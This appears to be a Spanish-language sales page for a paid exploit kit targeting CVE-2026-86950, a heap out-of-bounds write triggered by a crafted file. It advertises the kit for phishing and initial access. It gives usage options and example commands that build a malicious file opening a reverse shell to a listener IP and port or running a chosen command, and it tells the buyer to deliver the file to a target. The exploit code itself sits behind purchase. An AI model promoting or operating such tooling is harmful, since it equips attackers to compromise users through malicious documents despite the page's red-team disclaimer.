Genera archivos maliciosos que desencadenan una escritura fuera de límites (CWE-787) de CVE-2026-86950 con corrupción del heap, con opciones de reverse shell, ejecución de comandos o payload personalizado.
CVE-2026-86950 (CWE-787).
Escritura fuera de límites durante el análisis de un archivo especialmente manipulado. La falta de comprobaciones de límites en los campos de tamaño/desplazamiento permite una corrupción controlada del heap cuando la aplicación objetivo procesa el archivo.
Un atacante no autenticado entrega el archivo (correo electrónico, descarga, recurso compartido). Se requiere interacción del usuario (abrir/procesar). El código se ejecuta con los privilegios de la aplicación que realiza el análisis.
Útil para campañas de phishing/spear-phishing de red team, acceso inicial en endpoints y ejecución controlada de código sin autenticación de red.
Tras la compra recibes el archivo completo del paquete.
Extráelo e instala las dependencias:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Output malicious file (required)
-p, --payload <type> reverse | cmd | custom (default: reverse)
-L, --lhost <ip> Listener IP (for reverse)
-P, --lport <port> Listener port (for reverse)
-c, --cmd <command> Single command to execute
--arch x64|x86 Target architecture (default: x64)
Ejemplo (reverse shell):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
Ejemplo (comando de un solo uso):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
Entrega el archivo generado al objetivo. Cuando la aplicación vulnerable lo abra/procese, se desencadenará la escritura fuera de límites y se ejecutará el payload.
Solo para uso autorizado en red team / pruebas de penetración. El uso no autorizado es ilegal.
El paquete completo está disponible únicamente tras la compra.